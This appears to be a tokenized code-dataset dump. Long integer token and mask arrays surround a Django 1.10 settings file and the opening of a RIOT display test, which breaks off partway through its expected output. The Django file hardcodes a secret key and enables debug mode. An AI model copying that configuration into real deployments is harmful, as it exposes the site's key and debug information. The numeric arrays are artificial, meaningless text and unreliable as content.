787,
3544,
6702,
298,
355,
298,
475,
6140,
4110,
2685,
398,
340,
283,
10131,
27218,
474,
7,
315,
2074,
26,
288,
2150,
2074,
459,
10131,
27218,
474,
418,
288,
3598,
14,
4050,
8,
355,
298,
11087,
20,
1630,
440,
14021,
314,
9189,
27218,
474,
1423,
370,
314,
298,
355,
298,
30117,
12341,
3787
] |
[
30117,
28028,
199,
37,
20528,
723,
436,
377,
12732,
199,
2,
1918,
17804,
13,
7181,
345,
529,
1159,
481,
8528,
2,
199,
1014,
921,
1544,
14,
1556,
3323,
14,
957,
15,
15619,
15,
30117,
12341,
15,
199,
199,
30117,
28028,
4440,
282,
14202,
16725,
4692,
503,
4163,
1798,
370,
2198,
282,
199,
8,
19614,
3866,
9,
2213,
1901,
282,
3123,
6025,
14,
14562,
28028,
199,
20121,
3102,
436,
2018,
530,
284,
328,
22491,
626,
1852,
652,
8837,
370,
20850,
12,
199,
1733,
12,
436,
2811,
314,
2198,
3123,
14,
199,
199,
30117,
28028,
5419,
543,
2018,
499,
14,
23,
436,
1536,
14,
2779,
5419,
8034,
340,
14490,
199,
460,
15,
269,
3517,
21,
773,
365,
4903,
14,
199,
199,
1858,
1655,
2419,
1265,
14433,
13632,
370,
5715,
3595,
14562,
28028,
12,
1937,
314,
199,
9970,
26,
199,
1014,
921,
1544,
14,
1556,
3323,
14,
957,
15,
15619,
15,
30117,
12341,
15,
1533,
20,
15,
1301,
15,
199,
199,
624,
199,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
363,
2502,
363,
275,
298,
2553,
265,
1005,
30846,
5596,
265,
334,
274,
265,
1005,
82,
32,
8359,
1879,
14,
1308,
2924,
199,
363,
1023,
363,
275,
298,
20,
14,
21,
14,
17,
2,
199,
363,
7307,
363,
275,
298,
7384,
334,
67,
9,
8353,
13,
9261,
7005,
265,
1005,
30846,
5596,
265,
2,
199,
363,
1682,
363,
275,
298,
13965,
2,
199,
199,
363,
452,
363,
275,
788,
30117,
12341,
418,
199,
199,
646,
747,
199,
646,
295,
199,
646,
5190,
199,
646,
3598,
199,
199,
504,
1275,
5649,
492,
6545,
63,
5189,
12,
10191,
497,
8553,
23393,
199,
504,
1275,
68,
28980,
492,
6140,
36,
28980,
199,
504,
1275,
2108,
492,
334,
272,
445,
1451,
12,
272,
6819,
12,
272,
6186,
63,
8414,
63,
16314,
12,
272,
1487,
7456,
12,
272,
4226,
3667,
12,
272,
20721,
16725,
1558,
12,
272,
10331,
2162,
12,
272,
20157,
17700,
12,
272,
30751,
12,
272,
28028,
933,
6322,
281,
12,
272,
8053,
12,
272,
776,
199,
199,
3,
710,
7437,
1642,
8377,
781,
886,
365,
8120,
282,
2997,
1125,
340,
17122,
365,
199,
3,
3879,
642,
1233,
1334,
2018,
650,
1928,
13806,
652,
14,
199,
7,
5556,
787,
9936,
370,
1255,
314,
2018,
499,
1015,
402,
14562,
28028,
1334,
2018,
650,
14,
961,
911,
440,
1736,
3530,
28,
3524,
5556,
1929,
370,
3957,
314,
1233,
12,
1902,
701,
22200,
652,
13493,
1548,
3272,
14,
647,
3907,
10522,
503,
701,
3879,
499,
475,
19,
13493,
18,
475,
19,
446,
87,
9922,
20,
14963,
7,
199,
199,
533,
17132,
8,
1931,
304,
272,
408,
272,
961,
1021,
7890,
314,
5678,
3217,
2797,
701,
314,
3123,
27378,
14,
339,
5723,
3102,
911,
506,
2797,
701,
314,
1798,
26,
489,
5305,
342,
489,
4733,
8,
10131,
9,
339,
710,
3123,
6545,
1443,
1240,
3520,
3102,
687,
2399,
4733,
342,
4514,
26,
489,
2429,
63,
15234,
8,
354,
12,
3290,
9,
327,
1666,
5317,
3595,
372,
574,
489,
2429,
63,
25765,
8,
354,
9,
489,
2429,
63,
576,
8,
576,
9,
327,
4693,
3198,
370,
314,
1453,
666,
1031,
489,
1284,
1451,
8,
3600,
2543,
29,
19617,
16725,
1558,
9,
327,
3447,
795,
314,
1453,
666,
1031,
339,
3091,
17247,
4212,
23515,
314,
8793,
1798,
365,
12,
1265,
1077,
506,
272,
7688,
370,
1900,
282,
3123,
1808,
283,
928,
1947,
7,
4474,
12,
283,
500,
1947,
7,
4474,
12,
272,
283,
576,
7,
4474,
12,
436,
298,
4456,
543,
666,
2,
4474,
14,
339,
982,
1265,
655,
5337,
376,
2701,
13,
2108,
1947,
334,
24685,
282,
291,
13,
11707,
1947,
12,
272,
2839,
4163,
1159,
665,
3289,
30,
1947,
395,
1240,
2429,
63,
15234,
436,
2066,
272,
2429,
63,
25765,
14,
272,
408,
272,
16547,
63,
6967,
63,
2339,
275,
399,
3894,
3554,
6616,
339,
327,
982,
314,
1284,
13,
751,
10557,
949,
2539,
1063,
1314,
3123,
6545,
2985,
272,
327,
2934,
12,
3648,
367,
1373,
543,
3520,
4534,
14,
272,
6186,
63,
8248,
540,
63,
13313,
275,
788,
1360,
297,
283,
7015,
418,
339,
10485,
63,
5763,
21287,
275,
1557,
88,
1165,
60,
88,
16,
65,
60,
88,
1643,
60,
88,
16,
67,
60,
88,
16,
68,
7,
339,
4825,
63,
26078,
63,
22917,
19679,
63,
9171,
275,
298,
1944,
1798,
1990,
7662,
2013,
12,
880,
473,
6704,
1808,
314,
5526,
2808,
2818,
10131,
63,
466,
9,
83,
1798,
367,
642,
2656,
334,
4451,
2840,
2087,
9,
83,
60,
3471,
961,
9987,
5712,
1133,
282,
5160,
12,
1325,
340,
1265,
1255,
642,
1233,
641,
4573,
2656,
12,
503,
315,
282,
3365,
5791,
3734,
12,
652,
1443,
675,
282,
3365,
1798,
436,
24062,
23142,
3134,
78,
60,
13705,
1233,
626,
18104,
642,
5721,
365,
641,
1004,
2818,
604,
63,
1955,
9,
83,
402,
314,
570,
2818,
1501,
9,
83,
14,
4005,
664,
16146,
402,
642,
5721,
12,
1570,
1233,
626,
10734,
2839,
642,
3427,
78,
60,
78,
17132,
779,
12695,
9189,
27147,
78,
60,
29680,
642,
3427,
78,
60,
78,
17132,
779,
12695,
9189,
467,
8441,
2840,
2087,
9,
83,
60,
27681,
78,
2,
339,
347,
636,
826,
721,
277,
12,
9189,
8772,
4534,
29,
403,
12,
6545,
29,
403,
12,
326,
2198,
63,
2118,
29,
403,
12,
687,
63,
2991,
29,
403,
12,
5760,
63,
21138,
29,
403,
12,
326,
1011,
958,
304,
267,
408,
1918,
28028,
909,
365,
10038,
465,
314,
283,
1231,
1947,
297,
436,
314,
267,
2741,
9189,
334,
6777,
883,
506,
282,
1059,
503,
282,
570,
13,
2930,
909,
9,
267,
365,
23036,
1901,
314,
8793,
1798,
1041,
398,
340,
283,
3916,
24672,
7,
315,
2074,
26,
288,
3598,
14,
4050,
8,
355,
298,
11087,
20,
1630,
440,
14021,
314,
3957,
24672,
1423,
370,
314,
298,
355,
298,
30117,
12341,
3787,
14,
3447,
5080,
787,
3544,
6702,
298,
355,
298,
475,
6140,
4110,
2685,
398,
340,
283,
10131,
27218,
474,
7,
315,
2074,
26,
288,
2150,
2074,
459,
10131,
27218,
474,
418,
288,
3598,
14,
4050,
8,
355,
298,
11087,
20,
1630,
440,
14021,
314,
9189,
27218,
474,
1423,
370,
314,
298,
355,
298,
30117,
12341,
3787,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jmason-ebi/pdx
|
web/settings.py
|
1
|
3715
|
"""
Django settings for web project.
Generated by 'django-admin startproject' using Django 1.10.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '2aw71z$!wz-rw9z)v+!6n#p)ke117ee%59lo+(ejlo0l65@_r^'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = ["127.0.0.1"]
DEBUG_TOOLBAR_CONFIG = {
'SHOW_TOOLBAR_CALLBACK': lambda r: True, # disables it
}
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'django_extensions',
'debug_toolbar',
#'haystack',
'web',
]
HAYSTACK_CONNECTIONS = {
'default': {
'ENGINE': 'haystack.backends.whoosh_backend.WhooshEngine',
'PATH': os.path.join(os.path.dirname(__file__), 'whoosh_index'),
# 'ENGINE': 'haystack.backends.solr_backend.SolrEngine',
# 'URL': 'http://127.0.0.1:8983/solr'
# ...or for multicore...
# 'URL': 'http://127.0.0.1:8983/solr/mysite',
},
}
MIDDLEWARE_CLASSES = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
SESSION_ENGINE = "django.contrib.sessions.backends.file"
ROOT_URLCONF = 'web.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'web.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.10/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/1.10/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.10/howto/static-files/
STATIC_URL = '/static/'
|
apache-2.0
|
[
624,
199,
9323,
2202,
367,
3330,
2199,
14,
199,
199,
12706,
701,
283,
1176,
13,
2113,
1343,
1715,
7,
1808,
5634,
413,
14,
709,
14,
199,
199,
1858,
1655,
2556,
641,
642,
570,
12,
1937,
199,
2859,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
11299,
15,
1751,
15,
199,
199,
1858,
314,
2615,
769,
402,
2202,
436,
3932,
1338,
12,
1937,
199,
2859,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
1121,
15,
1751,
15,
199,
624,
199,
199,
646,
747,
199,
199,
3,
6516,
3792,
6272,
314,
2199,
2839,
642,
26,
747,
14,
515,
14,
904,
8,
5825,
63,
3022,
12,
19172,
199,
5825,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
4832,
3460,
493,
29658,
421,
199,
3,
27534,
13,
928,
16367,
2202,
446,
625,
83,
10020,
367,
9920,
199,
3,
1666,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
21232,
15,
13605,
15,
1074,
513,
15,
199,
199,
3,
24143,
32712,
14750,
26,
4215,
314,
7565,
790,
1202,
315,
9920,
7565,
1,
199,
12961,
63,
3078,
275,
283,
18,
10084,
3172,
90,
4,
1,
87,
90,
13,
13057,
25,
90,
9,
86,
11,
1,
22,
78,
3,
80,
9,
415,
7362,
1024,
5,
1427,
320,
15622,
69,
74,
320,
16,
76,
2182,
17608,
82,
62,
7,
199,
199,
3,
24143,
32712,
14750,
26,
2793,
1133,
1255,
543,
3105,
19136,
641,
315,
9920,
1,
199,
5287,
275,
715,
199,
199,
17350,
63,
23775,
275,
2097,
4195,
14,
16,
14,
16,
14,
17,
937,
199,
199,
5287,
63,
9731,
13895,
63,
5569,
275,
469,
272,
283,
19085,
63,
9731,
13895,
63,
28100,
356,
2400,
519,
26,
715,
12,
221,
327,
28421,
652,
199,
93,
421,
199,
3,
13515,
5492,
199,
199,
15942,
63,
14219,
275,
359,
272,
283,
1176,
14,
2828,
14,
2113,
297,
272,
283,
1176,
14,
2828,
14,
1178,
297,
272,
283,
1176,
14,
2828,
14,
10778,
297,
272,
283,
1176,
14,
2828,
14,
11676,
297,
272,
283,
1176,
14,
2828,
14,
3431,
297,
272,
283,
1176,
14,
2828,
14,
18373,
297,
272,
283,
1176,
63,
5359,
297,
272,
283,
1757,
63,
13951,
297,
272,
17384,
72,
1187,
2340,
297,
272,
283,
2520,
297,
199,
61,
199,
199,
40,
3448,
17014,
63,
14657,
2823,
275,
469,
272,
283,
885,
356,
469,
267,
283,
15956,
356,
283,
72,
1187,
2340,
14,
7765,
14,
11345,
22267,
63,
4620,
14,
55,
19112,
609,
8524,
297,
267,
283,
3243,
356,
747,
14,
515,
14,
904,
8,
736,
14,
515,
14,
3475,
3460,
493,
10139,
283,
11345,
22267,
63,
1080,
659,
267,
327,
283,
15956,
356,
283,
72,
1187,
2340,
14,
7765,
14,
28627,
63,
4620,
14,
27262,
82,
8524,
297,
267,
327,
283,
2632,
356,
283,
1014,
921,
4195,
14,
16,
14,
16,
14,
17,
26,
1407,
2658,
15,
28627,
7,
267,
327,
2263,
269,
367,
3510,
1018,
1396,
267,
327,
283,
2632,
356,
283,
1014,
921,
4195,
14,
16,
14,
16,
14,
17,
26,
1407,
2658,
15,
28627,
15,
1662,
2124,
297,
272,
1660,
199,
93,
199,
199,
19987,
63,
13748,
275,
359,
272,
283,
1176,
14,
5754,
14,
4416,
14,
7676,
6608,
297,
272,
283,
1176,
14,
2828,
14,
11676,
14,
5754,
14,
4434,
6608,
297,
272,
283,
1176,
14,
5754,
14,
2330,
14,
7844,
6608,
297,
272,
283,
1176,
14,
5754,
14,
10088,
14,
13912,
25322,
297,
272,
283,
1176,
14,
2828,
14,
1178,
14,
5754,
14,
10348,
6608,
297,
272,
283,
1176,
14,
2828,
14,
3431,
14,
5754,
14,
2209,
6608,
297,
272,
283,
1176,
14,
5754,
14,
4891,
19193,
316,
14,
56,
3160,
4558,
6608,
297,
199,
61,
199,
199,
12763,
63,
15956,
275,
298,
1176,
14,
2828,
14,
11676,
14,
7765,
14,
493,
2,
9948,
199,
5441,
63,
18125,
275,
283,
2520,
14,
3603,
7,
199,
199,
25437,
275,
359,
272,
469,
267,
283,
18145,
356,
283,
1176,
14,
1160,
14,
7765,
14,
1176,
14,
9323,
17969,
297,
267,
283,
14455,
356,
990,
267,
283,
7121,
63,
14455,
356,
715,
12,
267,
283,
8808,
356,
469,
288,
283,
1100,
63,
10547,
356,
359,
355,
283,
1176,
14,
1160,
14,
1100,
63,
10547,
14,
1757,
297,
355,
283,
1176,
14,
1160,
14,
1100,
63,
10547,
14,
1069,
297,
355,
283,
1176,
14,
2828,
14,
1178,
14,
1100,
63,
10547,
14,
1178,
297,
355,
283,
1176,
14,
2828,
14,
3431,
14,
1100,
63,
10547,
14,
3431,
297,
288,
2156,
267,
1660,
272,
1660,
199,
61,
199,
199,
16828,
63,
24051,
275,
283,
2520,
14,
6508,
14,
3578,
7,
421,
199,
3,
8692,
199,
3,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
1121,
15,
1751,
12645,
17439,
199,
199,
27260,
275,
469,
272,
283,
885,
356,
469,
267,
283,
15956,
356,
283,
1176,
14,
697,
14,
7765,
14,
10659,
19,
297,
267,
283,
2339,
356,
747,
14,
515,
14,
904,
8,
5825,
63,
3022,
12,
283,
697,
14,
10659,
19,
659,
272,
789,
199,
93,
421,
199,
3,
13635,
6411,
199,
3,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
1121,
15,
1751,
12645,
1178,
13,
2060,
13,
11346,
199,
199,
5580,
63,
9032,
63,
5600,
19033,
275,
359,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
1899,
1646,
7467,
13093,
8640,
297,
272,
1660,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
12092,
4625,
8640,
297,
272,
1660,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
7844,
6139,
8640,
297,
272,
1660,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
14687,
6139,
8640,
297,
272,
1660,
199,
61,
421,
199,
3,
28220,
2072,
199,
3,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
11299,
15,
73,
1085,
78,
15,
199,
199,
13947,
63,
6012,
275,
283,
287,
13,
527,
7,
199,
199,
4961,
63,
15353,
275,
283,
11288
] |
[
199,
9323,
2202,
367,
3330,
2199,
14,
199,
199,
12706,
701,
283,
1176,
13,
2113,
1343,
1715,
7,
1808,
5634,
413,
14,
709,
14,
199,
199,
1858,
1655,
2556,
641,
642,
570,
12,
1937,
199,
2859,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
11299,
15,
1751,
15,
199,
199,
1858,
314,
2615,
769,
402,
2202,
436,
3932,
1338,
12,
1937,
199,
2859,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
1121,
15,
1751,
15,
199,
624,
199,
199,
646,
747,
199,
199,
3,
6516,
3792,
6272,
314,
2199,
2839,
642,
26,
747,
14,
515,
14,
904,
8,
5825,
63,
3022,
12,
19172,
199,
5825,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
3475,
8,
736,
14,
515,
14,
4832,
3460,
493,
29658,
421,
199,
3,
27534,
13,
928,
16367,
2202,
446,
625,
83,
10020,
367,
9920,
199,
3,
1666,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
21232,
15,
13605,
15,
1074,
513,
15,
199,
199,
3,
24143,
32712,
14750,
26,
4215,
314,
7565,
790,
1202,
315,
9920,
7565,
1,
199,
12961,
63,
3078,
275,
283,
18,
10084,
3172,
90,
4,
1,
87,
90,
13,
13057,
25,
90,
9,
86,
11,
1,
22,
78,
3,
80,
9,
415,
7362,
1024,
5,
1427,
320,
15622,
69,
74,
320,
16,
76,
2182,
17608,
82,
62,
7,
199,
199,
3,
24143,
32712,
14750,
26,
2793,
1133,
1255,
543,
3105,
19136,
641,
315,
9920,
1,
199,
5287,
275,
715,
199,
199,
17350,
63,
23775,
275,
2097,
4195,
14,
16,
14,
16,
14,
17,
937,
199,
199,
5287,
63,
9731,
13895,
63,
5569,
275,
469,
272,
283,
19085,
63,
9731,
13895,
63,
28100,
356,
2400,
519,
26,
715,
12,
221,
327,
28421,
652,
199,
93,
421,
199,
3,
13515,
5492,
199,
199,
15942,
63,
14219,
275,
359,
272,
283,
1176,
14,
2828,
14,
2113,
297,
272,
283,
1176,
14,
2828,
14,
1178,
297,
272,
283,
1176,
14,
2828,
14,
10778,
297,
272,
283,
1176,
14,
2828,
14,
11676,
297,
272,
283,
1176,
14,
2828,
14,
3431,
297,
272,
283,
1176,
14,
2828,
14,
18373,
297,
272,
283,
1176,
63,
5359,
297,
272,
283,
1757,
63,
13951,
297,
272,
17384,
72,
1187,
2340,
297,
272,
283,
2520,
297,
199,
61,
199,
199,
40,
3448,
17014,
63,
14657,
2823,
275,
469,
272,
283,
885,
356,
469,
267,
283,
15956,
356,
283,
72,
1187,
2340,
14,
7765,
14,
11345,
22267,
63,
4620,
14,
55,
19112,
609,
8524,
297,
267,
283,
3243,
356,
747,
14,
515,
14,
904,
8,
736,
14,
515,
14,
3475,
3460,
493,
10139,
283,
11345,
22267,
63,
1080,
659,
267,
327,
283,
15956,
356,
283,
72,
1187,
2340,
14,
7765,
14,
28627,
63,
4620,
14,
27262,
82,
8524,
297,
267,
327,
283,
2632,
356,
283,
1014,
921,
4195,
14,
16,
14,
16,
14,
17,
26,
1407,
2658,
15,
28627,
7,
267,
327,
2263,
269,
367,
3510,
1018,
1396,
267,
327,
283,
2632,
356,
283,
1014,
921,
4195,
14,
16,
14,
16,
14,
17,
26,
1407,
2658,
15,
28627,
15,
1662,
2124,
297,
272,
1660,
199,
93,
199,
199,
19987,
63,
13748,
275,
359,
272,
283,
1176,
14,
5754,
14,
4416,
14,
7676,
6608,
297,
272,
283,
1176,
14,
2828,
14,
11676,
14,
5754,
14,
4434,
6608,
297,
272,
283,
1176,
14,
5754,
14,
2330,
14,
7844,
6608,
297,
272,
283,
1176,
14,
5754,
14,
10088,
14,
13912,
25322,
297,
272,
283,
1176,
14,
2828,
14,
1178,
14,
5754,
14,
10348,
6608,
297,
272,
283,
1176,
14,
2828,
14,
3431,
14,
5754,
14,
2209,
6608,
297,
272,
283,
1176,
14,
5754,
14,
4891,
19193,
316,
14,
56,
3160,
4558,
6608,
297,
199,
61,
199,
199,
12763,
63,
15956,
275,
298,
1176,
14,
2828,
14,
11676,
14,
7765,
14,
493,
2,
9948,
199,
5441,
63,
18125,
275,
283,
2520,
14,
3603,
7,
199,
199,
25437,
275,
359,
272,
469,
267,
283,
18145,
356,
283,
1176,
14,
1160,
14,
7765,
14,
1176,
14,
9323,
17969,
297,
267,
283,
14455,
356,
990,
267,
283,
7121,
63,
14455,
356,
715,
12,
267,
283,
8808,
356,
469,
288,
283,
1100,
63,
10547,
356,
359,
355,
283,
1176,
14,
1160,
14,
1100,
63,
10547,
14,
1757,
297,
355,
283,
1176,
14,
1160,
14,
1100,
63,
10547,
14,
1069,
297,
355,
283,
1176,
14,
2828,
14,
1178,
14,
1100,
63,
10547,
14,
1178,
297,
355,
283,
1176,
14,
2828,
14,
3431,
14,
1100,
63,
10547,
14,
3431,
297,
288,
2156,
267,
1660,
272,
1660,
199,
61,
199,
199,
16828,
63,
24051,
275,
283,
2520,
14,
6508,
14,
3578,
7,
421,
199,
3,
8692,
199,
3,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
1121,
15,
1751,
12645,
17439,
199,
199,
27260,
275,
469,
272,
283,
885,
356,
469,
267,
283,
15956,
356,
283,
1176,
14,
697,
14,
7765,
14,
10659,
19,
297,
267,
283,
2339,
356,
747,
14,
515,
14,
904,
8,
5825,
63,
3022,
12,
283,
697,
14,
10659,
19,
659,
272,
789,
199,
93,
421,
199,
3,
13635,
6411,
199,
3,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
1121,
15,
1751,
12645,
1178,
13,
2060,
13,
11346,
199,
199,
5580,
63,
9032,
63,
5600,
19033,
275,
359,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
1899,
1646,
7467,
13093,
8640,
297,
272,
1660,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
12092,
4625,
8640,
297,
272,
1660,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
7844,
6139,
8640,
297,
272,
1660,
272,
469,
267,
283,
2339,
356,
283,
1176,
14,
2828,
14,
1178,
14,
2060,
63,
6136,
14,
14687,
6139,
8640,
297,
272,
1660,
199,
61,
421,
199,
3,
28220,
2072,
199,
3,
4178,
921,
4757,
14,
14013,
14,
957,
15,
287,
15,
17,
14,
709,
15,
11299,
15,
73,
1085,
78,
15,
199,
199,
13947,
63,
6012,
275,
283,
287,
13,
527,
7,
199,
199,
4961,
63,
15353,
275,
283,
11288,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Josar/RIOT
|
tests/pkg_u8g2/tests/01-run.py
|
6
|
4212
|
#!/usr/bin/env python3
# Copyright (C) 2017 Inria
#
# This file is subject to the terms and conditions of the GNU Lesser
# General Public License v2.1. See the file LICENSE in the top level
# directory for more details.
import os
import sys
EXPECTED_STDOUT = (
'00| |',
'02| |',
'04| |',
'06| |',
'08| |',
'10| █████▐▋ ▐▋▐▋ ▟██▖ |',
'12| █ ▐▋ ▐▋▐▋▐▛ ▝█ |',
'14| █ ▐████▋▐▋▝█▙▄ |',
'16| █ ▐▋ ▐▋▐▋ ▀▜▙ |',
'18| █ ▐▋ ▐▋▐▋▐▙ ▗█ |',
'20| █ ▐▋ ▐▋▐▋ ▜██▘ |',
'22| |',
'24| |',
'26| |',
'28| |',
'30| |',
'00| |',
'02| |',
'04| |',
'06| |',
'08| |',
'10| ▐▋ ▟██▖ |',
'12| ▐▋▐▛ ▝█ |',
'14| ▐▋▝█▙▄ |',
'16| ▐▋ ▀▜▙ |',
'18| ▐▋▐▙ ▗█ |',
'20| ▐▋ ▜██▘ |',
'22| |',
'24| |',
'26| |',
'28| |',
'30| |',
'00| ▄▄▖ |',
'02| ▗████▋ |',
'04| ▗█▛▘ ▜█▖ |',
'06| ▐█ █▋ |',
'08| ██ █▋ |',
'10| ██ ▟█▘ |',
